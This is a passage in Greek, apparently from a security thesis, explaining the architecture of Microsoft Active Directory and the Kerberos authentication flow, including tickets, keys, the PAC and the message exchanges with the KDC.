καμπάνιες που εμπεριέχουν και το στοιχείο μιας πιο καθολικής εκτίμησης του 

επιπέδου συμμόρφωσης του υπό εξέταση οργανισμού, με πρωτόκολλα ασφαλείας 

και διαδικασίες ή ρουτίνες αποφυγής παραβιάσεων σε φυσικό και ψηφιακό 

επίπεδο. 
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ΚΕΦΑΛΑΙΟ 4 

 

4 Microsoft Active Directory 

 

4.1 Τι είναι, πως δουλεύει 

Το Active Directory (AD) ή  Active Directory Domain Services (AD DS) είναι 

μια τεχνολογία της Microsoft που χρησιμοποιείται για τη διαχείριση υπολογιστών 

και άλλων συσκευών σε ένα δίκτυο. Είναι μια κύρια δυνατότητα του Windows 

Server, ενός λειτουργικού συστήματος που εκτελεί τοπικούς και διαδικτυακούς 

διακομιστές. Το Active Directory Domain Services (AD DS) περιλαμβάνεται στον 

Windows Server και έχει σχεδιαστεί για τη διαχείριση συστημάτων, ενώ τα 

συστήματα που χρησιμοποιούν την κανονική έκδοση των Windows δεν διαθέτουν 

τις δυνατότητες του AD DS, υποστηρίζουν την υπηρεσία Active Directory. Αυτό 

σημαίνει ότι οποιοσδήποτε υπολογιστής με Windows μπορεί να συνδεθεί σε μια 

ομάδα εργασίας των Windows, με την προϋπόθεση ότι ο χρήστης διαθέτει τα σωστά 

διαπιστευτήρια σύνδεσης. 

Η υπηρεσία Active Directory επιτρέπει στους διαχειριστές δικτύου να 

δημιουργούν και να διαχειρίζονται τομείς, χρήστες και αντικείμενα εντός ενός 

δικτύου. Για παράδειγμα, ένας διαχειριστής μπορεί να δημιουργήσει μια ομάδα 

χρηστών και να τους δώσει συγκεκριμένα δικαιώματα πρόσβασης σε ορισμένους 

καταλόγους του διακομιστή. Καθώς αναπτύσσεται ένα δίκτυο, η υπηρεσία 

καταλόγου Active Directory παρέχει έναν τρόπο οργάνωσης μεγάλου αριθμού 

χρηστών σε λογικές ομάδες και υποομάδες, παρέχοντας παράλληλα έλεγχο 

πρόσβασης σε κάθε επίπεδο. 

 

Η υπηρεσία καταλόγου Active Directory παρέχει πολλές διαφορετικές 

υπηρεσίες, οι οποίες εμπίπτουν στην ομπρέλα "Υπηρεσίες τομέα Active Directory" 

ή Active Directory Domain Services (AD DS). 

 

Αυτές οι υπηρεσίες αποτελούνται από: 

1. Υπηρεσίες τομέα 
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Αποθηκεύει κεντρικά δεδομένα και διαχειρίζεται την επικοινωνία μεταξύ χρηστών 

και τομέων. Περιλαμβάνει έλεγχο ταυτότητας σύνδεσης και λειτουργικότητα 

αναζήτησης. Τα αντικείμενα που δημιουργούνται στο AD ομαδοποιούνται σε τομείς. 

Τα αντικείμενα για έναν τομέα αποθηκεύονται σε μία βάση δεδομένων. 

 

2. Υπηρεσίες πιστοποιητικών 

Δημιουργεί, διανέμει και διαχειρίζεται ασφαλή πιστοποιητικά και λειτουργεί σε 

τοπικό επίπεδο ως Certificate Authority (CA). Το Active Directory επιτυγχάνει αυτή 

τη λειτουργία, χρησιμοποιώντας το πρωτόκολλο Kerberos και το Single Sign-On 

(SSO). Το SSO είναι μία ικανότητα του Kerberos να παρέχει σε έναν χρήστη ένα 

σύνολο διαπιστευτηρίων και να του παρέχει πρόσβαση σε μια σειρά πόρων και 

υπηρεσιών με το ίδιο σύνολο διαπιστευτηρίων. Το Kerberos επικυρώνει τα 

διαπιστευτήρια και εκδίδει στον χρήστη ένα εισιτήριο (Ticket) με το οποίο ο χρήστης 

αποκτά πρόσβαση στους πόρους και τις υπηρεσίες που υποστηρίζουν το Kerberos. 

Η συγκεκριμένες υπηρεσίες δημιουργούν μία κατά παραγγελία (on demand) 

υποδομή δημοσίου κλειδιού (PKI), όπου μπορούν να διαχειρίζονται τα εκδιδόμενα 

πιστοποιητικά, τα οποία χρησιμοποιούνται για τη δικτυακή κίνηση, την 

κρυπτογράφηση αρχείων και την επικοινωνία των συστημάτων γενικότερα. 

 

3. Υπηρεσία καταλόγου 

Η υπηρεσία καταλόγου Active Directory διευκολύνει επίσης τη διαχείριση χρηστών 

καθώς λειτουργεί ως ένα μοναδικό αποθετήριο για όλες αυτές τις πληροφορίες 

σχετικά με αυτόν τον χρήστη και τον υπολογιστή. 

σημείωση: Η υπηρεσία καταλόγου αποτελείται από ένα σύνολο εφαρμογών που 

παρέχει μια ιεραρχική δομή και επιτρέπει την αποθήκευση αντικειμένων. Η 

υπηρεσία καταλόγου είναι το μέσο με το οποίο οι χρήστες και οι διαχειριστές 

μπορούν να εντοπίσουν πόρους ανεξάρτητα από το πού βρίσκονται αυτοί οι πόροι. 

 

4. Lightweight Directory Services 

Υποστηρίζει εφαρμογές με δυνατότητα καταλόγου χρησιμοποιώντας μία 

υλοποίηση της Microsoft του ανοιχτού πρωτοκόλλου LDAP. 

 

5. Directory Federation Services 
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Παρέχει ενιαία σύνδεση (Single Sign On) για τον έλεγχο ταυτότητας χρήστη σε 

πολλές δικτυακές εφαρμογές σε μία συνεδρία. Δηλαδή οι χρήστες, μπορούν να 

χρησιμοποιούν διάφορες δικτυακές υπηρεσίες ή πόρους δικτύου, χρησιμοποιώντας 

μόνο ένα σύνολο διαπιστευτηρίων που είναι αποθηκευμένα σε μια κεντρική 

τοποθεσία, σε αντίθεση με την υποχρέωση παραχώρησης ενός αποκλειστικού 

συνόλου διαπιστευτηρίων χωριστά για κάθε υπηρεσία. Τέλος, τους επιτρέπει να 

χρησιμοποιούν το ίδιο σύνολο διαπιστευτηρίων σε διαφορετικό δίκτυο. 

 

6. Διαχείριση δικαιωμάτων 

Προστατεύει το δίκτυο το οποίο διαχειρίζεται με ένα περίπλοκο σύστημα διαχείρισης 

δικαιωμάτων, αποτρέποντας τη μη εξουσιοδοτημένη πρόσβαση, χρήση και διανομή 

σε υλικό, πόρους και συστήματα. 

 

Ο Active Directory μπορεί να θεωρηθεί ότι έχει λογική και φυσική δομή και 

δεν υπάρχει συσχέτιση μεταξύ των δύο. Τα λογικά μέρη του Active Directory 

περιλαμβάνουν δάση, δέντρα, τομείς, Organizational Unit(OU) και παγκόσμιους 

καταλόγους. Κάθε στοιχείο της λογικής δομής του Active Directory ορίζεται 

αναλυτικά παρακάτω: 

 

4.1.1 Λογικά μέρη 

Η δομή του Active Directory περιλαμβάνει τρεις κύριες βαθμίδες: 

➔ τομείς 

➔ δέντρα 

➔ δάση 

 

Πολλά αντικείμενα (χρήστες ή συσκευές) που χρησιμοποιούν όλοι την ίδια 

βάση δεδομένων μπορούν να ομαδοποιηθούν σε έναν μόνο τομέα. Πολλαπλοί 

τομείς μπορούν να συνδυαστούν σε μία ομάδα που ονομάζεται δέντρο. Άρα ένα 

δέντρο, είναι μια συλλογή από έναν ή περισσότερους τομείς. Το δάσος είναι μια 

συλλογή δέντρων που μοιράζονται κοινό παγκόσμιο(global) κατάλογο, σχήμα 

καταλόγου, λογική δομή και διαμόρφωση καταλόγου. Σε κάθε ένα από αυτά τα 

επίπεδα μπορούν να εκχωρηθούν συγκεκριμένα δικαιώματα πρόσβασης και 

προνόμια επικοινωνίας. Ακολουθούν οι βαθμίδες πιο αναλυτικά. 
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➔ Τομείς 

Ένας τομέας είναι μια λογική ομάδα χρηστών και υπολογιστών που μοιράζονται τα 

χαρακτηριστικά της κεντρικής ασφάλειας και διαχείρισης. Κάθε τομέας αποτελεί ένα 

φυσικό «σύνορο» για την ασφάλεια - αυτό σημαίνει ότι ο διαχειριστής ενός τομέα 

είναι διαχειριστής μόνο για αυτόν τον τομέα και κανέναν άλλο. Ένας τομέας 

αποτελεί επίσης φυσικό όριο πρόσβασης, το οποίο σημαίνει πως, οι ελεγκτές τομέα 

που δεν ανήκουν στον ίδιο υπο-τομέα πρέπει να είναι αποκλεισμένοι μεταξύ τους. 

Οι τομείς στο ίδιο δάσος έχουν προεπιλεγμένη ρύθμιση να υπάρχουν μεταξύ τους 

σχέσεις εμπιστοσύνης. 

 

➔ Δέντρο 

Ένα δέντρο είναι μια συλλογή τομέων της υπηρεσίας καταλόγου Active Directory 

που μοιράζονται έναν συνεχόμενο χώρο ονομάτων. Σε αυτήν τη διαμόρφωση, οι 

τομείς εμπίπτουν σε σχέση γονέα-παιδιού, στην οποία ο θυγατρικός τομέας παίρνει 

το όνομα του γονέα. 

 

➔ Δάσος 

Ένα δάσος είναι η μεγαλύτερη μονάδα στο Active Directory και είναι μια συλλογή 

δέντρων που μοιράζονται ένα κοινό σχήμα, τον ορισμό των αντικειμένων που 

μπορούν να δημιουργηθούν. Σε ένα δάσος όλα τα δέντρα συνδέονται με 

μεταβατικές αμφίδρομες σχέσεις εμπιστοσύνης, επιτρέποντας έτσι στους χρήστες 

σε οποιοδήποτε δέντρο να έχουν πρόσβαση σε πόρους για τους οποίους έχουν 

τους δοθεί τα κατάλληλα δικαιώματα. Από προεπιλογή, ο πρώτος τομέας που 

δημιουργείται σε ένα σύμπλεγμα αναφέρεται ως ο ριζικός (root) τομέας και σε αυτόν 

είναι όπου το σχηματικό όλων των υπολοίπων τομέων αποθηκεύεται από 

προεπιλογή. 

 

➔ Οργανωτική μονάδα 

Μια οργανωτική μονάδα (Organizational Unit) είναι ένα διαχειριστικό αντικείμενο 

που βοηθά στην οργάνωση άλλων αντικειμένων για σκοπούς διαχείρισης ή/και 

εφαρμογής διαχειριστικών πολιτικών ομάδας (group policies). Η οργανωτική 

μονάδα εντός ενός τομέα μπορεί να περιέχει μόνο αντικείμενα από αυτόν τον τομέα 

και μπορεί να εμφωλευθεί, το οποίο επιτρέπει περισσότερη ευελιξία όσον αφορά τη 
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διαχείριση. Υπάρχουν διάφορες μέθοδοι για το σχεδιασμό δομών οργανωτικών 

μονάδων, συμπεριλαμβανομένων  από την πάνω προς τα κάτω σύμφωνα με τη 

διαχείριση (είναι η πιο συνηθισμένη), τη γεωγραφική ή την οργανωτική δομή (του 

φυσικού κόσμου). Μία δημοφιλής χρήση των OU είναι η ανάθεση διαχειριστικής 

αρχής, που μας επιτρέπει να δώσουμε σε έναν χρήστη έναν ορισμένο βαθμό 

διαχειριστικού ελέγχου μόνο για την οργανωτική μονάδα που επιθυμούμε και όχι 

για ολόκληρο τον τομέα. 

 

➔ Καθολικοί Κατάλογοι 

Καθολικοί κατάλογοι είναι οι καταχωρήσεις του κάθε αντικειμένου που υπάρχουν 

μέσα σε ένα δάσος. Από προεπιλογή, ένας ελεγκτής τομέα περιέχει μόνο 

πληροφορίες σχετικά με αντικείμενα σε αυτόν τον τομέα. Ένας διακομιστής 

καθολικού καταλόγου είναι ένας ελεγκτής τομέα που περιέχει πληροφορίες για κάθε 

αντικείμενο που είναι αποθηκευμένο σε ολόκληρο το σύμπλεγμα. Αυτό διευκολύνει 

και επιταχύνει την αναζήτηση πληροφοριών στον Active Directory. Από 

προεπιλογή, μόνο ο πρώτος ελεγκτής τομέα που δημιουργήθηκε σε ένα σύμπλεγμα 

διαθέτει ένα αντίγραφο του καθολικού καταλόγου, οποιαδήποτε άλλη ρύθμιση άλλοι 

πρέπει να ορίζεται χειροκίνητα. 

 

4.1.2 Φυσικά μέρη 

Η φυσική δομή του Active Directory βοηθά στη διαχείριση της επικοινωνίας 

μεταξύ διακομιστών σε σχέση με τον κατάλογο. Τα δύο φυσικά στοιχεία του Active 

Directory είναι ελεγκτές τομέα και ιστότοποι. Καθένα περιγράφεται παρακάτω. 

 

➔ Ελεγκτές τομέα 

Οι ελεγκτές τομέα είναι συστήματα που βασίζονται σε διακομιστές των Windows και 

αποθηκεύουν τη βάση δεδομένων του Active Directory. Κάθε ελεγκτής τομέα των 

Windows διαθέτει ένα εγγράψιμο αντίγραφο του καταλόγου. Κάθε ελεγκτής τομέα 

του ίδιου τομέα περιέχει αντίγραφα του κεντρικού καταλόγου τα οποία συγχρονίζει 

περιοδικά. 

 

➔ Ιστότοπος 
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Είναι μία λύση για τη διαχείριση των οργανισμών που έχουν υποκαταστήματα σε 

διαφορετικές γεωγραφικές τοποθεσίες, αλλά υπάγονται στον ίδιο τομέα. Οι 

ιστότοποι είναι φυσικές ομάδες καλά συνδεδεμένων υποδικτύων που 

χρησιμοποιούνται για την αποτελεσματική μεταγωγή πληροφοριών μεταξύ 

ελεγκτών τομέα (DC). Θα μπορούσαμε να το θεωρήσουμε ως μια μορφή 

χαρτογράφησης που περιγράφει τις βέλτιστες διαδρομές, βελτιώνοντας με αυτόν 

τον τρόπο τη χρήση του εύρους ζώνης δικτύου. Οι ιστότοποι όπως είναι φυσικό, 

συμβάλλουν στην επίτευξη οικονομικής αποδοτικότητας και ταχύτητας αφού μας 

επιτρέπουν επίσης να ασκούμε καλύτερο έλεγχο στην επίβλεψη της προώθησης 

της κίνησης μεταξύ των κόμβων και στη διαδικασία ελέγχου ταυτότητας. Όταν σε 

έναν ιστότοπο, υπάρχουν περισσότεροι από έναν ελεγκτές τομέα που είναι σε θέση 

να χειριστούν τη σύνδεση ή τις υπηρεσίες και τις αναζητήσεις καταλόγου, ο 

ιστότοπος μπορεί να εντοπίσει τον πλησιέστερο ελεγκτή για την εκτέλεση των 

ζητούμενων ενεργειών. Οι ιστότοποι διαδραματίζουν επίσης ρόλο στην ανάπτυξη 

και στόχευση των Πολιτικών Ομάδας (Group Policies). 

 

Στον Active Directory, οι πληροφορίες σχετικά με την τοπολογία 

αποθηκεύονται ως σύνδεσμοι ιστότοπου σε μορφή αντικειμένου. Από προεπιλογή, 

ένα προκαθορισμένο όνομα τοποθεσίας δημιουργείται για το δάσος. Μέχρι να 

δημιουργηθεί χειροκίνητα άλλος ιστότοπος, όλοι οι ελεγκτές τομέα εκχωρούνται 

αυτόματα σε αυτόν τον ιστότοπο. 

 

4.2 Κέντρο διανομής κλειδιών 

 

4.2.1 Πρωτόκολλο Kerberos 

Το Kerberos είναι ένα πρωτόκολλο ελέγχου ταυτότητας δικτύου 

υπολογιστών, που λειτουργεί βάσει εισιτηρίων για να επιτρέπει στους κόμβους να 

επικοινωνούν μέσω ενός μη ασφαλούς καναλιού, για να μπορούν να αποδεικνύουν 

την ταυτότητά τους μεταξύ τους με ασφαλή τρόπο. Το πρωτόκολλο πήρε το όνομά 

του από τον χαρακτήρα Kerberos (ή Cerberus) από την ελληνική μυθολογία, τον 

άγριο τρικέφαλο σκύλο του Άδη. Οι σχεδιαστές του στοχεύουν κυρίως σε ένα 

μοντέλο πελάτη-διακομιστή και παρέχει αμοιβαίο έλεγχο ταυτότητας - τόσο ο 

χρήστης όσο και ο διακομιστής επαληθεύουν την ταυτότητα του άλλου. 
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Το Kerberos βασίζεται σε κρυπτογραφία συμμετρικού κλειδιού και απαιτεί 

αξιόπιστο τρίτο μέρος και προαιρετικά μπορεί να χρησιμοποιεί κρυπτογραφία 

δημόσιου κλειδιού κατά τη διάρκεια ορισμένων φάσεων ελέγχου ταυτότητας. Το 

Kerberos χρησιμοποιεί τη θύρα 88 από προεπιλογή. [1] 

 

Στοιχεία που αποτελούν το Kerberos: 

• Επίπεδο μεταφοράς 

Το Kerberos χρησιμοποιεί τόσο το UDP, όσο και το TCP ως πρωτόκολλα 

μεταφοράς, τα οποία αμφότερα στέλνουν δεδομένα ως καθαρό κείμενο. Λόγω 

αυτού, το Kerberos είναι υπεύθυνο για την παροχή κρυπτογράφησης σε ανώτερο 

επίπεδο. Οι θύρες που χρησιμοποιούνται από τον Kerberos είναι UDP 88 και TCP 

88, οι οποίες πρέπει να “ακούγονται” στο κέντρο διανομής κλειδιών. 

 

• Πράκτορες 

Αρκετοί πράκτορες συνεργάζονται για να παρέχουν έλεγχο ταυτότητας στο 

Kerberos. Αυτοί είναι οι ακόλουθοι: 

 

➔ Οι Πελάτες ή οι χρήστες που θέλουν να έχουν πρόσβαση στην υπηρεσία. 

➔ Το AP (Application Server) που προσφέρει την υπηρεσία που ζητείται από 

τον χρήστη. 

➔ Το KDC (Key Distribution Center), είναι η κύρια υπηρεσία της Kerberos, 

υπεύθυνη για την έκδοση των εισιτηρίων, είναι εγκατεστημένη στο DC 

(Domain Controller). Υποστηρίζεται από το AS (Authentication Service), το 

οποίο εκδίδει τα Ticket Granting Tickets (TGTs). 

 

• Κλειδιά κρυπτογράφησης 

Υπάρχουν πολλές δομές που χειρίζεται ο Kerberos, ως εισιτήρια. Πολλές από αυτές 

τις δομές είναι κρυπτογραφημένες ή υπογεγραμμένες με διάφορα κλειδιά, 

προκειμένου να αποφευχθεί η παραβίαση από τρίτους. Αυτά τα κλειδιά είναι τα 

εξής: 

 

➔ Κλειδί KDC ή krbtgt που προέρχεται από το NTLM του λογαριασμού krbtgt. 

➔ Κλειδί χρήστη που προέρχεται από το NTLM του χρήστη. 
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➔ Κλειδί υπηρεσίας που προέρχεται από το NTLM του κατόχου της υπηρεσίας, 

ο οποίος μπορεί να είναι λογαριασμός χρήστη ή λογαριασμός συστήματος. 

➔ Κλειδί συνεδρίας, που αποτελεί αντικείμενο διαπραγμάτευσης μεταξύ του 

χρήστη και του κέντρου διανομής κλειδιών. 

➔ Κλειδί συνεδρίας υπηρεσίας, για χρήση μεταξύ χρήστη και υπηρεσίας. 

 

• Εισιτήρια 

Οι κύριες δομές που χειρίζεται το Kerberos είναι τα εισιτήρια. Αυτά τα εισιτήρια 

παραδίδονται στους χρήστες για να χρησιμοποιηθούν από αυτούς ώστε να είναι σε 

θέση να εκτελέσουν διάφορες ενέργειες σχετιζόμενες με το Kerberos. 

 

Υπάρχουν 2 τύποι εισιτηρίων: 

➔ Το TGS (Ticket Granting Service) είναι το εισιτήριο που ο χρήστης μπορεί 

να χρησιμοποιήσει για έλεγχο ταυτότητας έναντι μιας υπηρεσίας. 

Κρυπτογραφείται με το κλειδί υπηρεσίας. 

➔ Το TGT (Ticket Granting Ticket) είναι το εισιτήριο που παρουσιάζεται στο 

κέντρο διανομής κλειδιών για να ζητήσει το TGS. Κρυπτογραφείται με το 

κλειδί του κέντρου διανομής κλειδιών του Kerberos. 

 

• PAC 

Το PAC (Privilege Attribute Certificate) είναι ένα πεδίο που περιλαμβάνεται 

σχεδόν σε κάθε εισιτήριο. Αυτή η δομή περιέχει τα δικαιώματα του χρήστη και είναι 

υπογεγραμμένη με το κλειδί του κέντρου διανομής κλειδιών. Στις υπηρεσίες 

παρέχεται η δυνατότητα να επαληθεύσουν το PAC επικοινωνώντας με το κέντρο 

διανομής κλειδιών, αν και αυτό δεν συμβαίνει συχνά. Παρ 'όλα αυτά, η επαλήθευση 

PAC προβαίνει αποκλειστικά και μόνο στον έλεγχο της υπογραφής του, χωρίς να 

ελέγχει εάν τα δικαιώματα στο PAC είναι σωστά. Μπορούμε να αποφύγουμε τη 

συμπερίληψη του PAC στο εισιτήριο καθορίζοντάς το στο πεδίο αίτησης εισιτηρίου 

KURB-PA-PAC-REQUEST. 

 

• Μηνύματα 

Το Kerberos χρησιμοποιεί διαφορετικά είδη μηνυμάτων. Τα πιο αξιοσημείωτα είναι 

τα εξής: 
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➔ KRB_AS_REQ: Χρησιμοποιείται για να ζητήσει το TGT από το KDC. 

➔ KRB_AS_REP: Χρησιμοποιείται για την παράδοση του TGT από το KDC. 

➔ KRB_TGS_REQ: Χρησιμοποιείται για να ζητήσει το TGS από το KDC, 

χρησιμοποιώντας το TGT. 

➔ KRB_TGS_REP: Χρησιμοποιείται για την παράδοση του TGS από το KDC. 

➔ KRB_AP_REQ: Χρησιμοποιείται για τον έλεγχο ταυτότητας ενός χρήστη 

έναντι μιας υπηρεσίας, χρησιμοποιώντας το TGS. 

➔ KRB_AP_REP: (Προαιρετικό) Χρησιμοποιείται από την υπηρεσία για να 

ταυτιστεί με τον χρήστη. 

➔ KERB_VERIFY_PAC_REQUEST για να στείλει στο κέντρο διανομής 

κλειδιών την υπογραφή του PAC και να επαληθεύσει εάν είναι σωστό. 

 

Ροή μηνυμάτων κατά τη διαδικασία αυθεντικοποίησης με Kerberos 

 

Εικόνα 4-1 

Αναλυτικά: 

➔ KRB_AS_REQ 
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Ο πελάτης πρώτα αποστέλλει αίτημα για ένα Ticket Granting Ticket (TGT) 

στον Domain Controller (DC). Το αίτημα αυτό ονομάζεται KRB_AS_REQ (Kerberos 

Authentication Service Request). Το αίτημα TGT που αιτείται ο πελάτης είναι ένα 

κρυπτογραφημένο αντικείμενο που, μεταξύ άλλων, περιλαμβάνει πληροφορίες για, 

το κλειδί συνεδρίας πληροφορίες του πελάτη (ID, name, groups, …).  

Προκειμένου να πραγματοποιήσει το αίτημα TGT, ο πελάτης θα στείλει το 

όνομά του στο κέντρο διανομής κλειδιών, όπως επίσης και την ακριβή ώρα του 

αιτήματος κρυπτογραφημένη με τον κατακερματισμένο κωδικό του (NTLM hash). 

Το κέντρο διανομής κλειδιών αφού λάβει το όνομα, θα επαληθεύσει εάν 

υπάρχει στη βάση δεδομένων του, κα σε περίπτωση που το βρει, θα ανασύρει τον 

κατακερματισμένο του κωδικό και θα προσπαθήσει να αποκρυπτογραφήσει την 

κρυπτογραφημένη χρονική στιγμή του αιτήματος. Σε αντίθετη περίπτωση (αν δεν 

το βρει στη βάση δεδομένων του), τότε σημαίνει, ότι ο πελάτης δε χρησιμοποίησε 

το σωστό κωδικό για να κρυπτογραφήσει την ώρα του αιτήματος. 

Στην περίπτωση που επαληθευτούν το όνομα χρήστη και ο κωδικός, το 

κέντρο διανομής κλειδιών είναι βέβαιο πως υπάρχει ταύτιση μεταξύ του πελάτη, και 

της καταχώρησης στη βάση, και άρα ο πελάτης είναι, αυτός που ισχυρίζεται πως 

είναι. Θα παράγει ένα μοναδικό κλειδί συνεδρίας το οποίο θα αποδώσει στο χρήστη 

αυτόν, για ένα περιορισμένο χρονικό διάστημα. 
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Εικόνα 4-2 

 

➔ KRB_AS_REP 

Το κέντρο διανομής κλειδιών θα στείλει πίσω στον πελάτη τα εξής: 

• Το κλειδί συνεδρίας, κρυπτογραφημένο με τον κατακερματισμένο κωδικό του 

πελάτη. 

• Το TGT το οποίο περιλαμβάνει πληροφορίες όπως: 

o Username 

o Περίοδο εγκυρότητας (πιστοποιητικών) 

o Το κλειδί συνεδρίας 

o Το PAC (Privilege Attribute Certificate), το οποίο περιέχει πολλές 

πληροφορίες σχετικά με το χρήστη, όπως τα, SID και groups στα 

οποία ανήκει. 

 

Το TGT είναι κρυπτογραφημένο με το κλειδί του KDC, άρα το κέντρο διανομής 

κλειδιών είναι το μόνο που μπορεί να διαβάσει τα περιεχόμενα του εισιτηρίου.  
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Εικόνα 4-3 

 

Αξίζει να αναφέρουμε, ότι το TGT θεωρείται δημόσια πληροφορία. Μπορεί 

λοιπόν πολύ εύκολα να υποκλαπεί κατά τη φάση ελέγχου ταυτότητας. Παρακάτω 

θα φανεί πιο ξεκάθαρα η σημασία του ελεγκτή που συνοδεύει το TGT, όταν ο 

πελάτης επικοινωνεί με το κέντρο διανομής κλειδιών.  

Ο πελάτης λαμβάνει τις πληροφορίες, χρησιμοποιώντας τον 

κατακερματισμένο κωδικό πρόσβασης. Στην αρχή, μόνο το πρώτο μέρος θα 

αποκρυπτογραφηθεί προκειμένου να ανακτηθεί το κλειδί συνεδρίας που θα είναι 

απαραίτητο για περαιτέρω ανταλλαγές. 

Ο πελάτης έχει πλέον αυθεντικοποιηθεί, και βρισκόμαστε στο σημείο που, 

έχει το κλειδί του και ένα κλειδί συνεδρίας το οποίο έχει περιορισμένη ισχύ και μόνο 

αυτός ξέρει, όπως επίσης και ένα TGT κρυπτογραφημένο από το κέντρο διανομής 

κλειδιών που περιέχει μεταξύ άλλων το ίδιο κλειδί συνεδρίας. 

 

 

➔ KRB_TGS_REQ 

Έστω τώρα, ότι ο πελάτης θέλει να πάρει πρόσβαση σε κάποιο κοινό δικτυακό 

πόρο πχ κοινόχρηστο SMB/CIFS. Θα πρέπει να στείλει κάποιες πληροφορίες πάλι 

στο κέντρο διανομής κλειδιών, έτσι ώστε το κέντρο διανομής κλειδιών να στείλει ως 

απάντηση ένα TGS, που θα επιτρέψει στον πελάτη να πάρει πρόσβαση στον 

κοινόχρηστο πόρο. 
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Πιο συγκεκριμένα, θα στείλει: 

• Το TGT. 

• Το όνομα της υπηρεσίας/πόρου στην οποία θέλει να αποκτήσει πρόσβαση. 

• Έναν αυθεντικοποιητή (authenticator), ο οποίος περιέχει το username και 

τον ακριβή χρόνο, όλα κρυπτογραφημένα με ένα κλειδί συνεδρίας. 

 

Ο αυθεντικοποιητής στέλνεται, για να μπορεί να γίνει επαλήθευση πως ο 

πελάτης είναι αυτός που στέλνει το αίτημα, και όχι κάποιος άλλος που προσποιείται 

πως είναι ο πελάτης. Αυτό επιτυγχάνεται με μία σύγκριση μεταξύ του TGT και του 

αυθεντικοποιητή, η οποία γίνεται στο κέντρο διανομής κλειδιών. Δεδομένου πως 

μόνο το κέντρο διανομής κλειδιών είναι σε θέση να διαβάσει το περιεχόμενο του 

TGT (αφού είναι κρυπτογραφημένο με το δικό του κλειδί), δε μπορεί να έχει 

αλλοιωθεί. 

 

Η σύγκριση γίνεται στα εξής στάδια. Πρώτα το κέντρο διανομής κλειδιών θα 

διαβάσει από το TGT, το username και το κλειδί συνεδρίας. Έπειτα, θα διαβάσει το 

περιεχόμενο του αυθεντικοποιητή, αποκρυπτογραφώντας το με το κλειδί 

συνεδρίας. Εάν η αποκρυπτογράφηση είναι επιτυχής, και τα δεδομένα του 

αυθεντικοποιητή ταιριάζουν με τα δεδομένα στο TGT, τότε το κέντρο διανομής 

κλειδιών γνωρίζει πως ο πελάτης, είναι τελικά, αυτός που ισχυρίζεται.  

 

Ακολουθεί ένα διάγραμμα που συνοψίζει αυτή τη διαδικασία επαλήθευσης σε 

επίπεδο KDC: 
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Εικόνα 4-4 

 

Τώρα που το κέντρο διανομής κλειδιών έχει μπορέσει να αυθεντικοποιήσει τον 

πελάτη, θα στείλει πίσω τις πληροφορίες που θα επιστρέψουν στον πελάτη να κάνει 

αίτημα στην υπηρεσία, στην οποία επιθυμεί να πάρει πρόσβαση. Αυτό το μήνυμα 

είναι το KRB_TGS_REP, και περιέχει τα εξής στοιχεία. 

• Ένα εισιτήριο που περιέχει το όνομα της υπηρεσίας και το όνομα του 

διακομιστή (host) που φιλοξενεί την υπηρεσία αυτή, το username του 

πελάτη, το PAC, και ένα νέο κλειδί συνεδρίας το οποίο θεωρείται έγκυρο για 

την επικοινωνία μεταξύ του πελάτη και του διακομιστή για ένα περιορισμένο 

χρονικό διάστημα. Το εισιτήριο είναι κρυπτογραφημένο με το κλειδί της 

υπηρεσίας. 

• Το νέο κλειδί συνεδρίας. 

Οι δύο αυτές πληροφορίες (το εισιτήριο και το κλειδί συνεδρίας) είναι 

κρυπτογραφημένες με το πρώτο κλειδί συνεδρίας, αυτό δηλαδή που αντάλλαξε ο 

πελάτης με το κέντρο διανομής κλειδιών. 
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Ο πελάτης θα λάβει το μήνυμα και θα μπορέσει να αποκρυπτογραφήσει το πρώτο 

κομμάτι για να πάρει το κλειδί συνεδρίας που δημιουργήθηκε για να επικοινωνεί με 

την υπηρεσία, όπως και το εισιτήριο που δημιουργήθηκε για τη χρήση της 

υπηρεσίας από το κέντρο διανομής κλειδιών. Το εισιτήριο αυτό το ονομάζουμε 

Ticket Granting Service (TGS). 

 

 

Εικόνα 4-5 

 

Τέλος, ο πελάτης δημιουργεί έναν νέο αυθεντικοποιητή ο οποίος θα 

κρυπτογραφηθεί με το νέο κλειδί συνεδρίας, μαζί με το TGS, ακολουθώντας την ίδια 

διαδικασία που ακολουθήθηκε με το κέντρο διανομής κλειδιών. Η υπηρεσία θα 

λάβει το TGS και θα το αποκρυπτογραφήσει με το δικό της κλειδί, το οποίο μόνο ο 

DC γνωρίζει, και είμαστε σίγουροι πως το TGS είναι αυθεντικό. Το TGS περιέχει το 

κλειδί συνεδρίας το οποίο θα χρησιμοποιηθεί για να αποκρυπτογραφηθεί ο 

αυθεντικοποιητής. Άρα αφού συγκρίνει τον αυθεντικοποιητή με το TGS, η υπηρεσία 

είναι σίγουρη και για την ταυτότητα του πελάτη. Στην ενότητα 4.2.3 ακολουθεί μια 

αναπαράσταση με τα βήματα που ακολουθούνται, σε πιο συνοπτική/γραμμική 

μορφή. 
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Εικόνα 4-6 

 

 

4.2.2 Ticket Granting Ticket (TGT) 

Σύμφωνα με τη Microsoft, το πρωτόκολλο Kerberos είχε αρχικά σχεδιαστεί 

ώστε να παρέχει ένα κύριο κλειδί για έναν χρήστη το οποίο προερχόταν από έναν 

κωδικό πρόσβασης που παρείχε ο χρήστης. Όταν ένας χρήστης συνδεόταν, το 

Kerberos στο σταθμό εργασίας του χρήστη αποδεχόταν τον κωδικό πρόσβασης 

από τον χρήστη και τον μετέτρεπε σε κλειδί κρυπτογράφησης περνώντας τον 

κωδικό πρόσβασης μέσω μιας συνάρτησης κατακερματισμού. Ο 

κατακερματισμένος κωδικός που πρόκυπτε ήταν το κύριο κλειδί του χρήστη. Ο 

πελάτης χρησιμοποιούσε αυτό το κύριο κλειδί για την αποκρυπτογράφηση των 

κλειδιών συνεδρίας που λαμβάνονταν από το KDC. 

Το πρόβλημα με τον αρχικό σχεδιασμό Kerberos είναι ότι ο πελάτης 

χρειάζεται το κύριο κλειδί του χρήστη κάθε φορά που αποκρυπτογραφεί ένα κλειδί 

περιόδου λειτουργίας από το KDC. Αυτό σημαίνει ότι είτε ο πελάτης πρέπει να 

ζητήσει από τον χρήστη τον κωδικό πρόσβασης στην αρχή κάθε ανταλλαγής 

πελάτη / διακομιστή, είτε ο πελάτης πρέπει να αποθηκεύσει το κλειδί του χρήστη 

στο σταθμό εργασίας. Η συχνή απόσπαση του χρήστη είναι πολύ ενοχλητική, ενώ 
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η αποθήκευση του κλειδιού στο σταθμό εργασίας μπορεί να θέσει σε κίνδυνο ένα 

κλειδί που προέρχεται από τον κωδικό πρόσβασης χρήστη που είναι 

μακροπρόθεσμο κλειδί. 

